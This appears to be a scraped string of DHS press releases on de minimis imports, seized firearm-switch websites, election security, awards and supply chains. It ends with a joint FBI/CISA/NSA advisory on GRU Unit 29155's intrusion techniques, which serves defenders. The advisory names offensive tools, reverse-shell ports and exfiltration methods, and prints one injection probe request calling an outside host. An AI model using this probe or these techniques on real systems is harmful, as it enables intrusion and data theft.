WASHINGTON – The Department of Homeland Security’s workforce, particularly U.S. Customs and Border Protection (CBP), is on the front lines of the Biden-Harris Administration’s new executive actions, announced today, to protect American consumers, workers, retailers, importers, and manufacturers by tackling the exponential growth of small packages claiming the de minimis exemption. CBP plays a vital role in implementing these Executive Actions by targeting and blocking shipments that violate U.S. laws as they arrive in airports, express consignment facilities, international mail facilities, and ports of entry across the country. CBP enforces trade laws to protect consumers, eradicate forced labor from supply chains and protect U.S. workers and businesses from unfair competition, ensure national economic security, and prevent dangerous and illicit products, including illicit opioids like fentanyl, from entering the United States.
The Executive Actions announced today are designed to combat a significant increase of shipments in recent years that claim the de minimis exemption, particularly from Chinese e-commerce platforms, by strengthening information collection requirements to improve accountability and enforcement, prevent the misuse of the exemption for allowing high-volume shipments of de minimis packages, and prevent shippers from circumventing safety standards. De minimis shipments, also referred to as Section 321 low-value shipments, refer to goods that are exempt from duty and tax under 19 U.S.C. § 1321(a)(2)(C) and 19 C.F.R. § 10.151. The de minimis exemption allows CBP to pass free of duty and tax, merchandise imported by one person on one day that has an aggregate fair retail value in the country of shipments of $800 or less. Every day CBP processes nearly four million de minimis shipments entering the United States. Although these packages have a low value, they may pose the same potential health, consumer safety, and economic security risks as larger and more traditional containerized shipments. As of July 30, 2024, 89 percent of all seizures in the cargo environment this fiscal year originated as de minimis shipments, including 97 percent of narcotics seizures, and 72 percent of health and safety seizures of prohibited items.
“The actions announced today by the Biden-Harris Administration will help the Department keep pace with global electronic commerce and improve our ability to protect communities from fentanyl and its precursor chemicals,” said Secretary of Homeland Security Alejandro N. Mayorkas. “Our Administration remains ready and eager to work with Congress to pass badly-needed, long-overdue comprehensive de minimis reform legislation and ensure border officials have the resources and tools they need to track and target the millions of small-dollar shipments that enter our country every day.”
“Today’s actions will give us strong tools to ensure that imported goods comply with U.S. laws that serve to protect Americans,” said Robert Silvers, DHS Under Secretary for Policy and Chair of the federal Forced Labor Enforcement Task Force. “We will leave no stone unturned in keeping fentanyl out of this country. We will not tolerate forced labor in our supply chains. With regulatory and statutory updates to modernize its enforcement mechanisms, CBP will have the instruments it needs to keep illicit goods out of our markets, while facilitating the legitimate trade that is the lifeblood of our economy.”
“CBP employs a multilayered enforcement strategy, but the fact remains we are operating under the constraints of outdated laws passed more than 30 years ago, with significant resource and enforcement limitations in a heightened threat environment,” said CBP Senior Official Performing the Duties of the Commissioner, Troy Miller. “These executive actions are a critical first step in modernizing our enforcement mechanisms in the small package environment so we can better protect the health and safety of Americans. However, we still need to modernize and enhance our trade laws so that CBP can implement a more strenuous enforcement architecture to further crack down on the individuals and networks attempting to abuse the de minimis environment.”
The new Executive Actions targeting the abuse of the de minimis exception and protecting U.S. consumers, workers and businesses include:
New Rulemaking to Improve Accountability and Enforcement in De Minimis Shipments: Specifically, this proposed rule would strengthen information collection requirements to promote greater visibility into de minimis shipments. That additional level of transparency would help CBP protect consumers from purchasing goods that do not meet health and safety standards, and protect U.S. workers and businesses—including retailers, importers and manufacturers—from unfair competition.
New Rulemaking to Reduce De Minimis Volume and Strengthen Trade Enforcement: Specifically, this proposed rule would make ineligible for the de minimis exemption shipments containing products subject to U.S. trade enforcement actions, such as those driving the increase from China-founded e-commerce platforms like low-value textiles and apparel, closing a major loophole. Those products would no longer enter the U.S. market duty free.
Final Rule to Prevent De Minimis Shipments from Circumventing Safety Standards: Specifically, this Consumer Product Safety Commission (CPSC) proposed final rule would require importers of consumer products to file Certificates of Compliance (CoC) electronically with CBP and CPSC. That would strengthen CBP’s and CPSC’s ability to target and block unsafe products, and prevent foreign companies from abusing the de minimis exemption to circumvent consumer protection testing and certification requirements.
The Administration is also ready to work with Congress to pass comprehensive de minimis reform legislation by the end of the year, which is urgently needed even as these regulatory processes move forward. Key reforms Congress should advance include:
Exclusion from de minimis of import-sensitive products.
Exclusion of shipments containing products from the de minimis exemption that are covered by Section 301, Section 201, or Section 232 trade enforcement actions.
CBP would be granted the authority to demand additional documentation and other information about de minimis packages. The change would enable customs officials to more effectively analyze risk, identify patterns of concern, and take action against those who try to abuse our system. The legislation would also add a user fee for de minimis packages to help pay for the staff and equipment needed to better identify, and seize, illicit fentanyl being shipped in small packages into our country.
The Detect and Defeat Counter-Fentanyl Proposal would also result in stronger penalties that will more effectively deter synthetic drug and precursor trafficking in the de minimis environment and incentivize the private sector to self-police their supply chains for narcotics risk.
DHS is continuing to build on recent successes to strengthen enforcement of U.S. textile and apparel trade laws to support U.S. textile manufacturers and workers, and continues to prioritize eliminating forced labor from U.S. supply chains, including through the enforcement of the Uyghur Forced Labor Prevention Act (UFLPA). In April, DHS outlined an enhanced strategy to combat illicit trade and level the playing field for the American textile industry, led by CBP and Homeland Security Investigations (HSI). In Fiscal Year 2024 through September 1, CBP has:
Launched 18 Trade Special Operations (TSOs) that focus on physical inspection of small shipments and cargo containing textile and apparel products, as well as post-release reviews to determine eligibility for preferential treatment under free trade agreements, verify classification, valuation, and right to make entry.
Initiated over 553 full USMCA and CAFTA-DR, classification, valuation and right to make entry summary verifications on more than $150.8 million in textile and wearing apparel trade.
Initiated trade audits on more than $22.6 billion in textile imports.
Doubled the number of Textile Production Verification Team (TPVT) visits in comparison to FY23, reaching 109 factories and 6 raw material providers.
In July, the interagency Forced Labor Enforcement Task Force (FLETF), with DHS as Chair, added 26 entities in the high-priority textile sector to the UFLPA Entity List, which will restrict imports of goods from these entities into the United States. DHS and the FLETF will continue to prioritize examination of entities in the textile and apparel sector for possible addition to the UFLPA Entity List, which currently includes 73 entities across a wide range of industry sectors.
Importation of these items violates the National Firearms Act, and the illegal use of the “Glock” trademark violates federal laws that prohibits trafficking in counterfeit goods
BOSTON — Homeland Security Investigations (HSI) seized more than 350 internet domains that were allegedly used for the illegal importation of switches and silencers from China.
Switches are parts designed to convert semiautomatic pistols into fully automatic machineguns and silencers are devices used to suppress the sound of a firearm when discharged. Possession of these items and their importation from certain countries, including China, are prohibited under the National Firearms Act.
According to the court documents, in August 2023, HSI New England special agents began targeting multiple websites, businesses and individuals selling, offering for sale, importing and exporting machine gun conversion devices in violation of federal law. It is alleged that HSI special agents engaged in undercover purchases from the website domains promoting the sale of NFA-prohibited items — confirming that the domains were being used to sell illegal switches and silencers. The contraband items were then allegedly shipped from China to government-controlled mailboxes in the United States with false descriptions of their contents — such as “necklace” and “toys” — in an effort to conceal the alleged illegal importation.
“Our office remains committed to protecting our communities from the dangers posed by illegal firearms and firearm accessories, wherever the evidence takes us,” said acting U.S. Attorney Joshua S. Levy. “The seizure of these domains is a critical step in disrupting the flow of dangerous contraband that threatens public safety. Those who attempt to exploit online platforms to traffic in highly lethal firearm parts will be held accountable. We will continue to pursue and dismantle these illicit networks wherever they operate to uphold the integrity of our laws and safeguard our communities.”
“These websites represent a large-scale, organized effort to import illegal switches and silencers that turn ordinary firearms into deadly automatic weapons. HSI has worked diligently with our partners to systematically dismantle this network of websites to uphold our nation’s import laws and to preserve public safety,” said HSI new England Special Agent in Charge Michael J. Krol. “HSI cyber investigations work to keep illegal switches and silencers out of the hands of criminals who use them to commit violence and facilitate crime in our communities.”
“The results of this investigation have, to date, resulted in the seizure of over 700 devices which would covert a firearm into a machine gun, 87 illegal suppressors, 59 handguns, 36 long guns, as well as the seizure of 355 websites which were used to facilitate the trafficking of these items. The proliferation of readily available devices which allow the illegal manufacturing of machine guns is a plague on our communities. The Postal Inspection Service is committed to working with our state and federal partners to identify those who use the Postal Service to traffic these weapons, remove these illicit items from the mail, and increase the safety of our communities and the Postal Service employees who serve them,” said U.S. Postal Inspection Service Inspector in Charge Ketty Larco-Ward, who oversees the agency’s Boston Division.
It is further alleged that many of the website domains trafficked counterfeit goods and unlawfully used the Glock, Inc. trademark by offering purported “Glock” switches for sale. In reality, however, Glock, Inc. has never manufactured switches.
HSI special agents ultimately established probable cause to seize for forfeiture more than 350 domains used in connection with the scheme to import switches and silencers in violation of the NFA and laws prohibiting trafficking in counterfeit goods. Visitors to the websites will now be directed to a landing page indicating that the domain has been seized:
Krol, Levy and Larco-Ward made the announcement Sept. 11. HSI’s investigation was led by HSI New England’s Boston Cyber Crimes group. Valuable assistance in the investigation was provided by U.S. Customs and Border Protection; Bureau of Alcohol, Tobacco, Firearms and Explosives; the Massachusetts State Police and the Massachusetts Attorney General’s Office. Glock, Inc. fully cooperated with the government’s investigation.
HSI is committed to working with its partners to pursue cybercriminals on all fronts. We do this to help maintain internet integrity and protect American consumers, businesses and the public. Persistence, cooperation and ingenuity are keys to combating this global crime. Within HSI, special agents, computer forensics agents and analysts, cyber operations officers, intelligence analysts and cybersecurity specialists work together to investigate cybercrime and develop new techniques to detect, disrupt and deanonymize cybercriminals.
As observed through multiple election cycles, foreign actors and cybercriminals continue to spread false information through various platforms to manipulate public opinion, discredit the electoral process, and undermine confidence in U.S. democratic institutions. The FBI and CISA continue to work closely with federal, state, local, and territorial election partners and provide services and information to safeguard U.S. voting processes and maintain the resilience of the U.S. elections.
“This PSA is to educate people that false claims of election infrastructure compromise, like a voter registration database hack, may be spread by foreign actors and to not accept claims of intrusion at face value, as these claims may be meant to influence public opinion and negatively impact the American people’s confidence in our democratic process,” said CISA Senior Advisor Cait Conley.”
“The FBI continues to investigate any claims of malicious cyber actors’ attempts to target U.S. elections,” said FBI Cyber Division, Deputy Assistant Director Cynthia Kaiser. “Through our investigations, the FBI has identified that malicious actors commonly attempt to undermine public confidence in US elections by grossly exaggerating about obtaining U.S. voter information. Today’s announcement urges the American public to critically evaluate claims of hacked or leaked voter information and remember that most voter registration information is available to the public. We at the FBI remain committed to continuing to share information to counter false claims and help election officials further secure election processes.”
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About CISA
As the nation’s cyber defense agency and national coordinator for critical infrastructure security, the Cybersecurity and Infrastructure Security Agency leads the national effort to understand, manage, and reduce risk to the digital and physical infrastructure Americans rely on every hour of every day.
NEW YORK CITY – On September 12, the U.S. Department of Homeland Security (DHS) held an awards ceremony hosted by U.S. Citizenship and Immigration Services (USCIS), where 158 employees received a Secretary’s Award in recognition of their outstanding contributions to the Department’s mission.
“Every single day, with great determination, integrity, and skill, the 268,000 men and women of the Department of Homeland Security ensure the safety and security of the American people,” said Secretary of Homeland Security Alejandro N. Mayorkas. “Thanks to these extraordinary public servants, our shores, harbors, skies, cyberspace, and borders are protected; fentanyl and other deadly drugs are prevented from entering our country; communities are able to recover and rebuild after a natural disaster; the scourges of human trafficking, forced labor, and online exploitation are mitigated; and so much more. The individuals we recognize today with our Department’s highest honor, the Secretary’s Award, reflect the very best of DHS – and in their selfless dedication to mission, the very best of public service.”
The DHS Secretary’s Awards are an annual program that recognizes the extraordinary individual and collective achievements of the workforce. The 158 awardees recognized in today’s ceremony represent USCIS, the Federal Law Enforcement Training Centers (FLETC), Transportation Security Administration (TSA), U.S. Coast Guard (USCG), Immigration and Customs Enforcement (ICE), Cybersecurity and Infrastructure Security Agency (CISA), U.S. Customs and Border Protection (CBP), Federal Emergency Management Agency (FEMA) and the Office of Intelligence and Analysis (I&A).
“In recognizing these outstanding DHS personnel with a Secretary’s Award, we recognize all our talented personnel; the achievements of one are not possible without the contributions of others,” added Secretary Mayorkas. “We also express our appreciation to their families and loved ones; when one serves, the family serves too.”
This year’s award recipients developed and issued policy and procedures associated with a whole-scale transition to a new pay system for TSA; launched a series of coordinated and collaborative initiatives, operations and investigations targeting Transnational Criminal Organizations (TCOs) and national security threats operating and transiting through the Darien Gap region; arrested over 8,000 human smugglers, produced over 5,000 intelligence reports, and seized over $38M USD in real property; ensured over 2,300 vital alerts and warnings were provided to owners and operators of critical infrastructure to protect against cyberattacks; among many other achievements.
This year, DHS is holding nine Secretary’s Awards ceremonies across the country, honoring over 1,700 employees, the most annual awardees ever.
Last year, Secretary Mayorkas unveiled 12 priorities for the Department, including a commitment to champion the workforce and transform the employee experience. DHS has the third largest workforce of any federal department, behind the Department of Defense and Department of Veterans Affairs. The Department is home to more than 92,000 sworn law enforcement officers, the greatest number of law enforcement officers of any department in the federal government. DHS has committed to increasing the representation of women in law enforcement or related occupations at DHS to 30% by 2030. Over 54,000 veterans, or nearly 21% of the workforce, continue serving their country by working at DHS.
DHS operational components interact more frequently on a daily basis with the American public than any other federal department, from travelers moving through air, land, and sea ports of entry, to businesses importing goods into the country, to immigrants applying for services. To learn more about the impact DHS makes every day, visit: DHS.gov/TodayDHSWill.
Last year, DHS improved the efficiency of processing noncitizens at the Southwest Border, deployed across the country to respond to natural disasters, investigated cybercrimes, created a new streamlined process for adjudicating asylum applications, safely and securely resettled nearly 90,000 evacuated Afghans in the United States, provided resources for organizations to enhance their cybersecurity resilience, established a process for Ukrainian nationals seeking refuge, secured the 2022 midterm elections, and demonstrated heroism by acting quickly and courageously to save lives in harrowing circumstances.
Three nations will develop an early warning pilot to assess disruptions to supply chains in the telecommunications sector
WASHINGTON – This week, the U.S. Department of Homeland Security (DHS), the United Kingdom (U.K.)’s Department for Business and Trade of the United Kingdom of Great Britain and Northern Ireland, and Australia’s Department of Industry, Science, and Resources established the United States-United Kingdom-Australia Supply Chain Resilience Cooperation Group to enhance efforts to combat threats to critical supply chains.
The Supply Chain Resilience Cooperation Group will develop an early warning pilot focused on the telecommunications sector. This sector, including satellite and subsea communications, is critical to the shared economic security of the three participating nations. The pilot program will identify and monitor potential disruptions to supply chains in the telecommunications sector. It will also enhance global understanding of the vulnerabilities in the sector and develop communications channels for sharing this information and facilitating cooperative responses to disruptions.
Telecommunications infrastructure is vital to the distribution of public safety information, emergency services, and the day to day lives of many citizens. For example, undersea fiberoptic cables carry over 95% of transoceanic data traffic without which smartphones, financial networks, and communications systems would cease to function reliably.
“The resilience of our critical supply chains is a homeland security and economic security imperative,” said Secretary of Homeland Security Alejandro N. Mayorkas. “Collaboration with international partners allows us to anticipate and mitigate disruptions before they occur. Our new U.S.-U.K.-Australia Supply Chain Resilience Cooperation Group will help ensure that our communities continue to have the essential goods and services they need, when they need them.”
The U.K. and Australia are the first countries to formalize cooperation with DHS’ Supply Chain Resilience Center through a Memorandum of Understanding. Established in 2023, the Supply Chain Resilience Center works to analyze supply chain vulnerabilities alongside federal partners and private sector stakeholders to mitigate potential disruptions, ensuring the delivery of essential goods and services to American citizens.
The U.K’s Economic Security and Supply Chain Resilience Directorate, housed in the Department for Business and Trade, oversees efforts to mitigate supply-side risks to the U.K. economy and support greater long-term resilience. Australia’s Office of Supply Chain Resilience, housed in the Department for Industry, Science, and Resources, focuses on mitigating supply chain vulnerabilities and ensuring ongoing access to essential goods and services. These offices participating in the Memorandum of Understanding are not direct DHS counterparts, but their mission areas include significant overlap with respect to supply chain resilience issues. This partnership reflects the multifaceted nature of supply chain challenges and draws on the wide-ranging expertise represented between the three participants.
“The United States has recently felt effects of supply chain disruptions around the world, which is why working with our allies to secure our supply chains is more critical than ever,” said Under Secretary for Policy Robert Silvers. “By establishing the U.S.- U.K.-Australia Supply Chain Resilience Cooperation Group and developing our early warning system, we are setting the groundwork to anticipate supply chain disruptions and build resilience before our nations are affected by shortages of critical goods.”
“Strong supply chains are essential for our economic security, and we cannot rely purely on the invisible hand of the market to deliver them,” said U.K. Minister for Trade Policy and Economic Security Douglas Alexander. “Improved cooperation between our three nations will help us to identify and mitigate disruption to supply chains and better support U.K. businesses trading internationally.”
The Supply Chain Resilience Center, established in November 2023, serves as a hub for key U.S. government and industry partners to come together to anticipate, analyze, and plan for potential supply chain disruptions. It is supported by personnel from DHS Headquarters, Federal Emergency Management Agency (FEMA), U.S. Coast Guard (USCG), U.S. Customs and Border Protection (CBP), Immigration and Customs Enforcement (ICE), Homeland Security Investigations (HSI), Transportation Security Administration (TSA), and Cybersecurity and Infrastructure Security Agency (CISA) who bring extensive supply chain knowledge and expertise, and who are in regular contact with industry and other stakeholders.
During emergency events, the Department of Homeland Security (DHS) works with its federal, state, local, and non-governmental partners to support the needs of the people in the areas that may be impacted.
In such circumstances, U.S. Immigration and Customs Enforcement (ICE) and U.S. Customs and Border Protection (CBP) remind the public that sites that provide emergency response and relief are considered protected areas. To the fullest extent possible, ICE and CBP do not conduct immigration enforcement activities at protected areas such as along evacuation routes, sites used for sheltering or the distribution of emergency supplies, food or water, or registration sites for disaster-related assistance or the reunification of families and loved ones.
At the request of FEMA or local and state authorities, ICE and CBP may help conduct search and rescue, air traffic de-confliction and public safety missions. ICE and CBP provide emergency assistance to individuals regardless of their immigration status. DHS officials do not and will not pose as individuals providing emergency-related information as part of any enforcement activities.
DHS is committed to ensuring that every individual who seeks shelter, aid, or other assistance as a result of a natural disaster or emergency event is able to do so regardless of their immigration status.
DHS carries out its mission without discrimination on the basis of race, religion, gender, sexual orientation or gender identity, ethnicity, disability or political associations, and in compliance with law and policy.
For information about filing a complaint with the DHS Office for Civil Rights and Civil Liberties about these matters, please visit our Make a Civil Rights Complaint page.
“Election officials around the country are unwavering in their commitment to enhance the cyber and physical security of election infrastructure to meet an evolving threat environment. As election officials and their teams enter into final preparations for November, these checklists help highlight some of the most common threat vectors, security practices, and resilience measures for consideration,” said CISA Senior Advisor, Cait Conley.
These checklists provide a series of questions to guide preparation for potential cyber and physical security incidents that may impact election infrastructure. They help election officials identify areas to potentially enhance physical security, operational resilience, and cybersecurity at election infrastructure facilities and take action to implement low- or no-cost options in the short term.
For more information, please click here and check out #Protect2024 for the latest information regarding election security.
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About CISA
As the nation’s cyber defense agency and national coordinator for critical infrastructure security, the Cybersecurity and Infrastructure Security Agency leads the national effort to understand, manage, and reduce risk to the digital and physical infrastructure Americans rely on every hour of every day.
The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and National Security Agency (NSA) assess that cyber actors affiliated with the Russian General Staff Main Intelligence Directorate (GRU) 161st Specialist Training Center (Unit 29155) are responsible for computer network operations against global targets for the purposes of espionage, sabotage, and reputational harm since at least 2020. GRU Unit 29155 cyber actors began deploying the destructive WhisperGate malware against multiple Ukrainian victim organizations as early as January 13, 2022. These cyber actors are separate from other known and more established GRU-affiliated cyber groups, such as Unit 26165 and Unit 74455.
To mitigate this malicious cyber activity, organizations should take the following actions today:
Prioritize routine system updates and remediate known exploited vulnerabilities.
Segment networks to prevent the spread of malicious activity.
Enable phishing-resistant multifactor authentication (MFA) for all externally facing account services, especially for webmail, virtual private networks (VPNs), and accounts that access critical systems.
This Cybersecurity Advisory provides tactics, techniques, and procedures (TTPs) associated with Unit 29155 cyber actors—both during and succeeding their deployment of WhisperGate against Ukraine—as well as further analysis (see Appendix A) of the WhisperGate malware initially published in the joint advisory, Destructive Malware Targeting Organizations in Ukraine, published February 26, 2022.
FBI, CISA, NSA and the following partners are releasing this joint advisory as a collective assessment of Unit 29155 cyber operations since 2020:
U.S. Department of the Treasury
U.S. Department of State (Rewards for Justice)
U.S. Cyber Command Cyber National Mission Force (CNMF)
Netherlands Defence Intelligence and Security Service (MIVD)
Czech Military Intelligence (VZ)
Czech Republic Security Information Service (BIS)
German Federal Office for the Protection of the Constitution (BfV)
Estonian Internal Security Service (KAPO)
Latvian State Security Service (VDD)
Security Service of Ukraine (SBU)
Computer Emergency Response Team of Ukraine (CERT-UA)
For a downloadable copy of indicators of compromise (IOCs):
Technical Details
Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 15. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.
GRU Unit 29155: Cyber Component
FBI, NSA, and CISA assess Unit 29155 is responsible for attempted coups, sabotage and influence operations, and assassination attempts throughout Europe. Unit 29155 expanded their tradecraft to include offensive cyber operations since at least 2020. Unit 29155 cyber actors’ objectives appear to include the collection of information for espionage purposes, reputational harm caused by the theft and leakage of sensitive information, and systematic sabotage caused by the destruction of data [T1485].
FBI assesses the Unit 29155 cyber actors to be junior active-duty GRU officers under the direction of experienced Unit 29155 leadership. These individuals appear to be gaining cyber experience and enhancing their technical skills through conducting cyber operations and intrusions. Additionally, FBI assesses Unit 29155 cyber actors rely on non-GRU actors, including known cyber-criminals and enablers to conduct their operations.
Cybersecurity Industry Tracking
The cybersecurity industry provides overlapping cyber threat intelligence, IOCs, and mitigation recommendations related to Unit 29155 cyber actors. While not all encompassing, the following are the most notable threat group names related under MITRE ATT&CK G1003 and commonly used within the cybersecurity community.
Cadet Blizzard (formerly known as DEV-0586 by Microsoft)[1],[2]
Ember Bear (also known as Bleeding Bear by CrowdStrike)[3]
Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. Government’s understanding for all activity related to these groupings.
Victimization
In addition to WhisperGate and other incidents against Ukraine, Unit 29155 cyber actors have conducted computer network operations against numerous members of the North Atlantic Treaty Organization (NATO) in Europe and North America, as well as countries in Europe, Latin America, and Central Asia. The activity includes cyber campaigns such as website defacements, infrastructure scanning, data exfiltration, and data leak operations. These actors sell or publicly release exfiltrated victim data obtained from their compromises. Since early 2022, the primary focus of the cyber actors appears to be targeting and disrupting efforts to provide aid to Ukraine.
To date, the FBI has observed more than 14,000 instances of domain scanning across at least 26 NATO members and several additional European Union (EU) countries. Unit 29155 cyber actors have defaced victim websites and used public website domains to post exfiltrated victim information.
Whether through offensive operations or scanning activity, Unit 29155 cyber actors are known to target critical infrastructure and key resource sectors, including the government services, financial services, transportation systems, energy, and healthcare sectors of NATO members, the EU, Central American, and Asian countries.
TTP Overview
Reconnaissance
Unit 29155 cyber actors have been observed targeting IP ranges [T1595.001] used within multiple government and critical infrastructure organizations. The following are publicly available tools these cyber actors have used for scanning [T1595] and vulnerability exploit efforts. Unit 29155 cyber actors were not observed using these tools outside of their intended purpose. Note: Use of these tools should not be attributed as malicious without analytical evidence to support threat actor use and/or control.
Acunetix: Unit 29155 cyber actors leveraged both Acunetix and Nmap to identify open ports, services, and vulnerabilities for networks [T1595.002].[6]
Amass: Unit 29155 cyber actors leveraged both Amass and VirusTotal to obtain subdomains for target websites [T1590.002].[7]
Nmap: Once Unit 29155 cyber actors gained access to victim internal networks, they further used Nmap (via the Nmap Scripting Engine [NSE]) to write custom scripts for discovering and scanning other machines [T1046].
Shodan: Unit 29155 cyber actors used Shodan to identify hosts with a specific set of vulnerabilities or device types [T1596.005].[12]
Additionally, Unit 29155 cyber actors have used infrastructure configured with OpenVPN configuration [T1572] over port 1194, and in some instances, to perform Active Directory (AD) enumeration. Adminer in combination with Impacket and ldapdomaindump were tools used for gathering information on AD. Once active devices are found, Unit 29155 cyber actors look for vulnerabilities to exploit. For example, the Acunetix vulnerability scanning tool has been used for gathering information on potential vulnerabilities such as blind cross-site scripting, as shown in the following commands:
GET /index.php?log=to@example.com>%0d%0abcc:009247.3183-377.3183.1bf6c.19446.2@bxss.me
As the cyber actors perform reconnaissance on victim networks and discover vulnerabilities within victim web servers or machines, they obtain CVE exploit scripts from GitHub repositories and use them against victim infrastructure [T1588.005]. Unit 29155 cyber actors have been observed obtaining the respective exploit scripts for, but not exploiting, the following CVEs:
Analysis concluded Unit 29155 cyber actors have exploited the following CVEs for initial access [T1190], as detailed throughout this advisory:
Resource Development
Rather than build custom solutions, Unit 29155 cyber actors use common red teaming techniques and publicly available tools to conduct cyber operations. As a result, many TTPs overlap with those of other cyber actors, which can lead to misattribution.
Unit 29155 actors and their cyber-criminal affiliates commonly maintain accounts on dark web forums; this has provided the opportunity to obtain various hacker tools such as malware and malware loaders [T1588.001] like Raspberry Robin and SaintBot. While Unit 29155 cyber actors are best known for their use of WhisperGate malware against Ukraine, the use of WhisperGate is not unique to the group. Technical analysis can be found in Appendix A: WhisperGate Malware Analysis.
Initial Access
Unit 29155 cyber actors are known to use VPNs to anonymize their operational activity. These cyber actors commonly attempt to exploit weaknesses in internet-facing systems, like the CVEs listed above, to initially access networks. In one instance, Unit 29155 cyber actors exploited CVE-2021-33044 and CVE-2021-33045 on Dahua IP cameras to bypass identity authentication.
Lateral Movement
Unit 29155 cyber actors have used Shodan to scan for Internet of Things (IoT) devices, using exploitation scripts to authenticate to IP cameras with default usernames and passwords [T1078.001], and exfiltrating images [T1125] (JPG files). Attempts are then made to perform remote command execution via web to vulnerable IP cameras; if successful, cyber actors would dump configuration settings and credentials in plaintext (as shown in Table 1 below) [T1552.001].
Appendix B: Indicators of Compromise lists threat actor IP addresses associated with the activity detailed in this section.
Note: These events are independent and not correlated as a single timeline of compromise.
Event
Victim Observation
Web requests observed from victim infrastructure
These requests are likely intended to dump configuration settings and credentials [T1003]:
In addition, incident analysis identified the general observations listed below on victim infrastructure. Each event should be considered independent and may have been used by Unit 29155 cyber actors against multiple victims at different dates and timeframes. Appendix B: Indicators of Compromise lists IOCs associated with the observations in Table 1 and below.
In one instance shortly following a deployment of WhisperGate malware, Unit 29155 cyber actors exfiltrated data to mega[.]nz using Rclone [T1567.002].
Unit 29155 cyber actors used a Pass-the-Hash [T1550.002] via ProxyChains.
Cyber actors performed SSH and SSHPass executions.
Cyber actors initiated a web request and executed commands via ProxyChains. This included obtaining NT hashes via Server Message Block (SMB) using smbclient, executing Windows Management Instrumentation (WMI) with hashes, and making web requests with resources i.php and tunnel.jsp. In one instance, cyber actors used smbclient via ProxyChains to access internal network shares, and subsequently PSQL and MySQL clients to access internal databases.
Cyber actors used Impacket for post-exploitation and lateral movement. The script secretsdump.py was used from the Impacket framework to obtain domain credentials, while psexec.py was subsequently used to move laterally within a victim network.
Cyber actors used ntlmrelayx.py via Impacket and krbrelayx.py, which requires Impacket to function.
Cyber actors used Responder.py.
Cyber actors used su-bruteforce to brute force a selected user using the su command.
Cyber actors used BloodHound, an open source AD reconnaissance tool that can reveal hidden relationships and identify attack paths within an AD environment.
Cyber actors used CrackMapExec via ProxyChains with SMB protocol targeting internal victim IP addresses. This open source post-exploitation tool automates assessing the security of large AD networks.
Cyber actors used LinPEAS, an open source script designed to automate the process of searching for potential privilege escalation vulnerabilities on a Linux victim.
Cyber actors used GO Simple Tunnel (GOST) (MD5: 896e0f54fc67d72d94b40d7885f10c51) for 30 days within one incident and against additional victims on various occasions. GOST is a tunneling tool designed to establish secure connections between clients and servers, allowing for secure data transmission over untrusted networks.
Cyber actors used Through the Wire against a victim’s internet-facing Confluence server. Through the Wire is a proof of concept[14] exploit for CVE-2022-26134, an OGNL injection vulnerability allowing an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance. All versions of Confluence Server and Data Center prior to the fixed versions listed by Atlassian are affected by this vulnerability.[15] A reverse shell over HTTPS was used to communicate over listening host on port 8081.
Cyber actors initiated Nmap scans on localized web servers.
Cyber actors performed lateral movement from compromised web servers to exploit a corporate Microsoft Windows network, commonly using psexec.py from the Impacket framework. The script secretsdump.py from the Impacket framework was used to obtain domain credentials.
Cyber actors may have used Raspberry Robin malware in the role of an access broker [T1588.001].
Cyber actors targeted victims’ Microsoft Outlook Web Access (OWA) infrastructure with password spraying to obtain valid usernames and passwords [T1110.003].
Command and Control
Infrastructure
Since at least 2020, Unit 29155 cyber actors have used virtual private servers (VPSs) [T1583.003] to host their operational tools, perform reconnaissance, exploit victim infrastructure, and exfiltrate victim data. Use of VPSs are common due to the associated IP addresses not identifying their true country of origin.
Post-Exploitation
When an exploit is successfully executed on a victim system, the actors can then launch a Meterpreter payload [T1105], which commonly uses a reverse Transmission Control Protocol (TCP) connection to initiate communication with the threat actors’ infrastructure [T1095]. In one instance, an established reverse TCP session was observed from victim to actor infrastructure via the following ports:
1234
1851
43221
443
4444
4688
5432
8080
8081
8082
8084
8085
8088
8089
8090
8443
8487
8888
Additional observations were collected from victim engagement and analysis, including:
Use of the Metasploit Framework to search for and/or access modules such as mysql, postgres, and ssh software and features.
Use of Meterpreter and Netcat to execute reverse shells over ports such as 8081.
Use of Impacket.
Use of PHP (exp_door v1.0.2, b374k, WSO 4.0.5) and the P.A.S. web shells [T1505.003], likely for initial access.
Use of reGeorg or Neo-reGeorg to set up a proxy to tunnel network traffic following compromise of a victim website, as well as use of ProxyChains to run Nmap within the network.
Encrypted Communication
Once Unit 29155 cyber actors gain access to the victims’ internal network, the victims have observed:
Using Domain Name System (DNS) tunneling tools, such as dnscat/2 and Iodine, to tunnel IPv4 network traffic [T1071.004]. For example, Iodine was used to tunnel data via dns.test658324901domain.me.
Configuring a proxy within the victim infrastructure and executing commands within the network via ProxyChains. ProxyChains—a tool used to route internal traffic through a series of proxies [T1090.003]—has been used to provide further anonymity and modify system configuration to force network traffic through chains of SOCKS5 proxies and respective ports. The following ports used by actor infrastructure include:
1080
1333
13381
13391
13666
13871
1448
1888
3130
3140
4337
50001
8079
Using the GOST open source tunneling tool (via SOCKS5 proxy) named java, as detailed in the following running processes in victim incident response results:
In several instances, analysis identified Unit 29155 cyber actors compressing victim data [T1560] (e.g., the entire filesystem, select file system artifacts or user data, and/or database dumps) to send back to their infrastructure. These cyber actors commonly use the command-line program Rclone to exfiltrate data to a remote location from victim infrastructure.
Unit 29155 cyber actors have exfiltrated Windows processes and artifacts, such as Local Security Authority Subsystem Service (LSASS) memory dumps [T1003.001], Security Accounts Manager (SAM) files [T1003.002], and SECURITY and SYSTEM event log files [T1654]. As seen in victim incident response results, actor infrastructure has also been used to compromise multiple mail servers [T1114] and exfiltrate mail artifacts, such as email messages, using PowerShell [T1059.001] via the following command:
See Table 3 to Table 14 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.
Unit 29155 cyber actors have used Amass and VirusTotal to obtain information about victims’ DNS for possible use during targeting, such as subdomains for target websites.
Unit 29155 cyber actors use publicly available scanning tools to enable their discovery of IoT devices and exploitable vulnerabilities. Tools leveraged for scanning include Acunetix, Amass, Droopescan, eScan, and JoomScan.
Unit 29155 cyber actors have used VPSs to host their operational tools, perform reconnaissance, exploit victim infrastructure, and exfiltrate victim data.
